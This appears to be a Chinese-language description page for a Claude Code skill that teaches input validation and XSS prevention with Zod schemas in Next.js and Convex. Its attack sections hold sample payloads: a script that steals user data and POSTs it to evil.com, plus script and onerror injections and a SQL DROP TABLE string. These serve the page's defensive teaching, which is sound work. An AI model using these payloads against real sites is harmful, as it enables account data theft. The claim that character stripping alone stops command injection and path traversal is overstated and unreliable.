关于 input-validation-xss-prevention
面向 Web 应用的输入验证与 XSS 防护技能,使用 Zod 模式检查并清理请求数据。它提供 11 种预设模式和验证辅助函数,覆盖常见字段与表单。
主要功能
- 01提供 11 种 Zod 验证模式
- 02验证并清理用户输入
- 03支持邮箱、文本和 URL 校验
- 04提供表单与资料更新模式
- 05格式化验证错误并返回 HTTP 400
适用场景
- 01验证联系表单和注册数据
- 02清理用户简介、评论和文章内容
- 03检查 URL、标识符及分页参数
- 04在 API 路由中拒绝无效请求
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ harperaa/ secure-claude-skills --skill input-validation-xss-prevention安装后在 Claude Code 中输入/input-validation-xss-prevention确认已加载。
详细介绍
输入验证与 XSS 防护
Web 安全的普遍真理
永远不要信任用户输入。 这是 Web 安全的基本原则。
每一起重大数据泄露事件都可以追溯到输入验证失败:
- SQL 注入——Equifax(1.47 亿条记录)
- XSS——British Airways(38 万笔交易,罚款 2,000 万英镑)
- 命令注入——不计其数的其他事件
根据 OWASP 的数据,注入漏洞始终是 Web 应用面临的第一或第二大威胁。输入验证不是可有可无的——它关乎生死存亡。
了解 XSS(跨站脚本攻击)
攻击方式
攻击者在个人简介字段中输入:
<script>
fetch('/api/user')
.then(r=>r.json())
.then(d=>fetch('https://evil.com',{
method:'POST',
body:JSON.stringify(d)
}))
</script>
如果没有进行消毒处理,其他用户查看此个人资料时:
- 脚本会在他们的浏览器中执行
- 窃取他们的用户数据
- 将数据发送到攻击者的服务
- 受害者完全不知道自己已遭入侵
XSS 在现实中的后果
British Airways(2018 年): XSS 漏洞允许攻击者注入窃取支付卡信息的脚本。38 万笔交易遭到泄露。根据 GDPR 被罚款 2,000 万英镑。
MySpace Samy 蠕虫(2005 年): XSS 漏洞允许一个可自我传播的脚本在 20 小时内将攻击者添加为超过 100 万个个人资料的好友。虽然基本无害(只是添加好友),但它展示了其潜在危害:同样的技术也可以用来窃取凭据或支付信息。
我们的输入验证架构
为什么选择 Zod?
传统验证使用正则表达式和手动检查,容易出错,而且往往不够全面。
Zod 提供:
- ✅ 类型安全的验证——TypeScript 能识别哪些内容有效
- ✅ 可组合的模式——重复使用验证逻辑
- ✅ 自动转换——内置消毒处理
- ✅ 清晰的错误消息——帮助用户纠正错误
- ✅ 运行时类型检查——在生产环境中捕获问题
消毒策略
我们会移除可能导致 XSS 攻击的危险字符:
<——防止开始标签>——防止结束标签"——防止属性注入&——防止 HTML 实体注入
保留:
'——撇号(用于 O'Neal、D'Angelo、McDonald's 等姓名)
为什么不移除所有特殊字符? 因为这样一来,名为“O'Neal”的用户就无法输入自己的姓名。安全性必须兼顾安全与易用性。
行业验证方法
根据 OWASP 和 NIST 指南,安全的方法是:
- 验证(检查格式和类型)
- 消毒(移除危险内容)
- 在输出时编码(显示时转义)
我们会执行全部三项:
- Zod 验证格式
.transform()进行消毒- React 转义输出
实现文件
lib/validation.ts——11 个预构建的 Zod 模式lib/validateRequest.ts——用于格式化错误的验证辅助函数
如何使用输入验证
基本模式
import { validateRequest } from '@/lib/validateRequest';
import { safeTextSchema } from '@/lib/validation';
async function handler(request: NextRequest) {
const body = await request.json();
// Validate and sanitize
const validation = validateRequest(safeTextSchema, body);
if (!validation.success) {
return validation.response; // Returns 400 with field errors
}
// TypeScript knows exact shape, data is XSS-sanitized
const sanitizedData = validation.data;
// Safe to use
}
完整的安全 API 路由
// app/api/create-post/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withRateLimit } from '@/lib/withRateLimit';
import { withCsrf } from '@/lib/withCsrf';
import { validateRequest } from '@/lib/validateRequest';
import { createPostSchema } from '@/lib/validation';
import { handleApiError, handleUnauthorizedError } from '@/lib/errorHandler';
import { auth } from '@clerk/nextjs/server';
async function createPostHandler(request: NextRequest) {
try {
// Authentication
const { userId } = await auth();
if (!userId) return handleUnauthorizedError();
const body = await request.json();
// Validation & Sanitization
const validation = validateRequest(createPostSchema, body);
if (!validation.success) {
return validation.response;
}
const { title, content, tags } = validation.data;
// Data is now:
// - Type-safe (TypeScript validated)
// - Sanitized (XSS characters removed)
// - Validated (length, format checked)
// Safe to store in database
await db.posts.insert({
title,
content,
tags,
userId,
createdAt: Date.now()
});
return NextResponse.json({ success: true });
} catch (error) {
return handleApiError(error, 'create-post');
}
}
export const POST = withRateLimit(withCsrf(createPostHandler));
export const config = {
runtime: 'nodejs',
};
可用的验证模式
所有模式都位于 lib/validation.ts 中:
1. emailSchema
**适用于:**电子邮件地址
import { emailSchema } from '@/lib/validation';
const validation = validateRequest(emailSchema, userEmail);
if (!validation.success) return validation.response;
const email = validation.data; // Normalized, lowercase
功能:
- 必须是有效的电子邮件格式
- 转换为小写
- 最多 254 个字符
- 去除首尾空白
2. safeTextSchema
**适用于:**短文本字段(姓名、标题、主题)
import { safeTextSchema } from '@/lib/validation';
const validation = validateRequest(safeTextSchema, inputText);
功能:
- 最少 1 个、最多 100 个字符
- 移除:
< > " & - 保留:
'(撇号) - 去除首尾空白
3. safeLongTextSchema
**适用于:**长文本(描述、个人简介、评论、消息)
import { safeLongTextSchema } from '@/lib/validation';
const validation = validateRequest(safeLongTextSchema, description);
功能:
- 最少 1 个、最多 5,000 个字符
- 与 safeTextSchema 使用相同的消毒方式
- 适用于文本区域内容
4. usernameSchema
**适用于:**用户名、slug、标识符
import { usernameSchema } from '@/lib/validation';
const validation = validateRequest(usernameSchema, username);
功能:
- 仅允许字母数字字符、下划线和连字符
- 最少 3 个、最多 30 个字符
- 仅允许小写字母
- 不允许空格或特殊字符
5. urlSchema
**适用于:**网站 URL、链接字段
import { urlSchema } from '@/lib/validation';
const validation = validateRequest(urlSchema, websiteUrl);
功能:
- 必须是有效的 URL
- 仅允许 HTTPS(安全要求)
- 最多 2,048 个字符
- 验证协议和域名
6. contactFormSchema
**适用于:**完整的联系表单
import { contactFormSchema } from '@/lib/validation';
const validation = validateRequest(contactFormSchema, formData);
if (!validation.success) return validation.response;
const { name, email, subject, message } = validation.data;
字段:
{
name: string, // safeTextSchema (1-100 chars)
email: string, // emailSchema
subject: string, // safeTextSchema (1-100 chars)
message: string // safeLongTextSchema (1-5000 chars)
}
7. createPostSchema
用途: 用户生成的博客文章
import { createPostSchema } from '@/lib/validation';
const validation = validateRequest(createPostSchema, postData);
if (!validation.success) return validation.response;
const { title, content, tags } = validation.data;
字段:
{
title: string, // safeTextSchema (1-100 chars)
content: string, // safeLongTextSchema (1-5000 chars)
tags: string[] | null // Array of safeText strings (optional)
}
8. updateProfileSchema
用途: 更新个人资料
import { updateProfileSchema } from '@/lib/validation';
const validation = validateRequest(updateProfileSchema, profileData);
if (!validation.success) return validation.response;
const { displayName, bio, website } = validation.data;
字段:
{
displayName: string | null, // safeTextSchema (optional)
bio: string | null, // safeLongTextSchema (optional)
website: string | null // urlSchema (optional, HTTPS only)
}
9. idSchema
用途: 数据库 ID、引用字段
import { idSchema } from '@/lib/validation';
const validation = validateRequest(idSchema, itemId);
特性:
- 非空字符串
- 去除空白字符
- 用于验证 ID 参数
10. positiveIntegerSchema
用途: 计数、数量、分页
import { positiveIntegerSchema } from '@/lib/validation';
const validation = validateRequest(positiveIntegerSchema, quantity);
特性:
- 仅限整数
- 必须为正数(> 0)
- 不允许小数
11. paginationSchema
用途: 分页参数
import { paginationSchema } from '@/lib/validation';
const validation = validateRequest(paginationSchema, {
page: queryParams.page,
limit: queryParams.limit
});
const { page, limit } = validation.data;
字段:
{
page: number, // Default: 1, Min: 1
limit: number // Default: 10, Min: 1, Max: 100
}
创建自定义架构
自定义架构模板
// lib/validation.ts
import { z } from 'zod';
// Add your custom schema
export const myCustomSchema = z.object({
field: z.string()
.min(1, 'Required')
.max(200, 'Too long')
.trim()
.transform((val) => val.replace(/[<>"&]/g, '')), // XSS sanitization
});
export type MyCustomData = z.infer<typeof myCustomSchema>;
复杂架构示例
// Registration form with multiple validations
export const registrationSchema = z.object({
username: usernameSchema,
email: emailSchema,
password: z.string()
.min(12, 'Password must be at least 12 characters')
.regex(/[A-Z]/, 'Must contain uppercase letter')
.regex(/[a-z]/, 'Must contain lowercase letter')
.regex(/[0-9]/, 'Must contain number')
.regex(/[^A-Za-z0-9]/, 'Must contain special character'),
passwordConfirm: z.string(),
agreeToTerms: z.boolean().refine(val => val === true, {
message: 'You must agree to terms'
})
}).refine((data) => data.password === data.passwordConfirm, {
message: "Passwords don't match",
path: ["passwordConfirm"]
});
条件验证
export const orderSchema = z.object({
orderType: z.enum(['pickup', 'delivery']),
address: z.string().optional(),
phone: z.string().optional()
}).refine(
(data) => {
if (data.orderType === 'delivery') {
return !!data.address && !!data.phone;
}
return true;
},
{
message: 'Address and phone required for delivery',
path: ['address']
}
);
前端验证
客户端预验证
'use client';
import { useState } from 'react';
import { createPostSchema } from '@/lib/validation';
export function CreatePostForm() {
const [errors, setErrors] = useState<Record<string, string>>({});
async function handleSubmit(e: React.FormEvent<HTMLFormElement>) {
e.preventDefault();
setErrors({});
const formData = new FormData(e.currentTarget);
const data = {
title: formData.get('title'),
content: formData.get('content'),
tags: formData.get('tags')?.toString().split(',').filter(Boolean) || null
};
// Client-side validation (UX improvement, not security)
const validation = createPostSchema.safeParse(data);
if (!validation.success) {
const fieldErrors: Record<string, string> = {};
validation.error.errors.forEach((err) => {
if (err.path[0]) {
fieldErrors[err.path[0].toString()] = err.message;
}
});
setErrors(fieldErrors);
return;
}
// Submit to server (server validates again!)
try {
const response = await fetch('/api/posts', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(validation.data)
});
if (response.ok) {
alert('Post created!');
}
} catch (error) {
console.error('Error:', error);
}
}
return (
<form onSubmit={handleSubmit}>
<div>
<input name="title" placeholder="Title" />
{errors.title && <span className="error">{errors.title}</span>}
</div>
<div>
<textarea name="content" placeholder="Content" />
{errors.content && <span className="error">{errors.content}</span>}
</div>
<div>
<input name="tags" placeholder="Tags (comma separated)" />
{errors.tags && <span className="error">{errors.tags}</span>}
</div>
<button type="submit">Create Post</button>
</form>
);
}
重要: 客户端验证仅用于改善用户体验。始终在服务端进行验证——客户端验证可以被绕过。
攻击场景与防护
攻击 1:通过评论实施 XSS
攻击:
POST /api/comment
{
"content": "<script>alert(document.cookie)</script>"
}
防护:
const validation = validateRequest(safeLongTextSchema, body);
// Result: content = "alert(document.cookie)"
// < and > removed, script harmless
攻击 2:SQL 注入尝试
攻击:
POST /api/search
{
"query": "'; DROP TABLE users; --"
}
防护:
const validation = validateRequest(safeTextSchema, body);
// Result: query = "'; DROP TABLE users; --"
// Still contains SQL, but parameterized queries prevent execution
// Additionally, input length limited, special chars sanitized
注意: 在数据库层使用参数化查询,以全面防范 SQL 注入。
攻击 3:通过超长输入造成缓冲区溢出
攻击:
POST /api/profile
{
"bio": "A".repeat(1000000) // 1 million characters
}
防护:
const validation = validateRequest(updateProfileSchema, body);
// Result: Validation fails
// Error: "Bio must be at most 5000 characters"
// HTTP 400 returned before processing
攻击 4:在多个字段中注入脚本
攻击:
POST /api/contact
{
"name": "<script>evil()</script>",
"email": "[email protected]",
"subject": "<img src=x onerror=alert(1)>",
"message": "Normal message"
}
防护:
const validation = validateRequest(contactFormSchema, body);
// Results:
// name: "evil()"
// email: "[email protected]"
// subject: ""
// message: "Normal message"
// All dangerous tags removed automatically
测试输入验证
测试 XSS 清理
# Test XSS in title
curl -X POST http://localhost:3000/api/example-protected \
-H "Content-Type: application/json" \
-H "X-CSRF-Token: <get-from-/api/csrf>" \
-d '{"title": "<script>alert(1)</script>"}'
# Expected: 200 OK, but title = "alert(1)"
测试验证错误
# Test too-long input
curl -X POST http://localhost:3000/api/example-protected \
-H "Content-Type: application/json" \
-H "X-CSRF-Token: <get-from-/api/csrf>" \
-d "{\"title\": \"$(printf 'A%.0s' {1..200})\"}"
# Expected: 400 Bad Request
# {
# "error": "Validation failed",
# "details": {
# "title": "String must contain at most 100 character(s)"
# }
# }
测试电子邮件验证
# Test invalid email
curl -X POST http://localhost:3000/api/contact \
-H "Content-Type: application/json" \
-d '{
"name": "Test",
"email": "not-an-email",
"subject": "Test",
"message": "Test"
}'
# Expected: 400 Bad Request
# { "error": "Validation failed", "details": { "email": "Invalid email" } }
错误响应格式
验证失败时,validateRequest() 返回:
{
error: "Validation failed",
details: {
fieldName: "Error message",
anotherField: "Another error"
}
}
HTTP 状态:400 Bad Request
常见验证模式
模式 1:可选字段
const schema = z.object({
required: safeTextSchema,
optional: safeTextSchema.optional(),
nullable: safeTextSchema.nullable(),
optionalWithDefault: safeTextSchema.default('default value')
});
模式 2:数组验证
const schema = z.object({
tags: z.array(safeTextSchema).max(10, 'Maximum 10 tags'),
categories: z.array(z.string()).min(1, 'At least one category required')
});
模式 3:枚举值
const schema = z.object({
status: z.enum(['draft', 'published', 'archived']),
priority: z.enum(['low', 'medium', 'high'])
});
模式 4:数字范围
const schema = z.object({
age: z.number().int().min(18).max(120),
rating: z.number().min(1).max(5),
price: z.number().positive()
});
模式 5:日期验证
const schema = z.object({
birthdate: z.string().datetime(),
appointmentDate: z.string().datetime()
.refine((date) => new Date(date) > new Date(), {
message: 'Appointment must be in the future'
})
});
Convex 集成
使用 Convex 时,始终在 mutations 中验证输入——切勿将 args 直接插入数据库。
Convex 基本验证模式
// convex/posts.ts
import { mutation } from "./_generated/server";
import { createPostSchema } from "../lib/validation";
export const createPost = mutation({
handler: async (ctx, args) => {
// Validate with Zod
const validation = createPostSchema.safeParse(args);
if (!validation.success) {
throw new Error("Invalid input: " + validation.error.message);
}
// Use sanitized data
const { title, content, tags } = validation.data;
await ctx.db.insert("posts", {
title,
content,
tags,
userId: ctx.auth.userId,
createdAt: Date.now()
});
}
});
在 Convex 中验证多个字段
// convex/items.ts
import { mutation } from "./_generated/server";
import { safeTextSchema, safeLongTextSchema } from "../lib/validation";
export const createItem = mutation({
handler: async (ctx, args) => {
// Validate each field with appropriate schema
const titleValidation = safeTextSchema.safeParse(args.title);
const descValidation = safeLongTextSchema.safeParse(args.description);
if (!titleValidation.success || !descValidation.success) {
throw new Error("Invalid input");
}
// Use sanitized data
await ctx.db.insert("items", {
title: titleValidation.data,
description: descValidation.data,
userId: ctx.auth.userId, // From Clerk authentication
createdAt: Date.now()
});
}
});
反面模式:直接插入 Args(绝对不要这样做)
// ❌ BAD - Direct insertion without validation
export const createItem = mutation({
handler: async (ctx, args) => {
// VULNERABLE: args inserted directly without validation
await ctx.db.insert("items", args);
}
});
// ✅ GOOD - Validated and sanitized
export const createItem = mutation({
handler: async (ctx, args) => {
const validation = createItemSchema.safeParse(args);
if (!validation.success) {
throw new Error("Invalid input");
}
await ctx.db.insert("items", {
title: validation.data.title,
description: validation.data.description,
userId: ctx.auth.userId,
createdAt: Date.now()
});
}
});
Convex 验证为何至关重要
- 前端验证可以被绕过——攻击者可以直接调用 Convex mutations
- Convex 函数就是你的 API——应将它们视为 API 路由,并进行完整验证
- 仅有类型安全还不够——TypeScript 类型无法阻止 XSS,也无法验证长度
- 纵深防御——即使 Next.js API 已进行验证,Convex 也应进行验证
输入验证可以防止的问题
✅ 跨站脚本攻击(XSS)——主要防护 ✅ SQL/NoSQL 注入——长度限制 + 清理 ✅ 命令注入——移除危险字符 ✅ 模板注入——清理模板语法 ✅ 路径遍历——验证路径,移除 ../ ✅ 缓冲区溢出——强制执行长度限制 ✅ 类型混淆——强制使用正确的数据类型 ✅ 业务逻辑错误——验证范围和格式
应避免的常见错误
❌ 不要因为“这是内部 API”就跳过验证
❌ 不要只依赖客户端验证
❌ 不要未经验证就直接使用 body.field
❌ 不要用 .replace() 手动清理——请使用 Zod
❌ 不要认为通过身份验证就意味着输入安全
❌ 不要忘记在 Convex mutations 中进行验证
✅ 要验证所有用户输入,即使输入来自已通过身份验证的用户 ✅ 要使用 lib/validation.ts 中预先构建的架构 ✅ 要返回详细的验证错误(有助于改善用户体验) ✅ 要结合使用验证、速率限制和 CSRF 防护 ✅ 要同时在 API 路由和 Convex mutations 中进行验证
参考资料
- OWASP 输入验证备忘单:https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html
- OWASP XSS 防护:https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- Zod 文档:https://zod.dev/
- OWASP Top 10 2021 - A03 注入:https://owasp.org/Top10/A03_2021-Injection/
后续步骤
- 若要防范 CSRF:使用
csrf-protection技能 - 若要进行速率限制:使用
rate-limiting技能 - 若要安全地处理错误:使用
error-handling技能 - 若要测试验证功能:使用
security-testing技能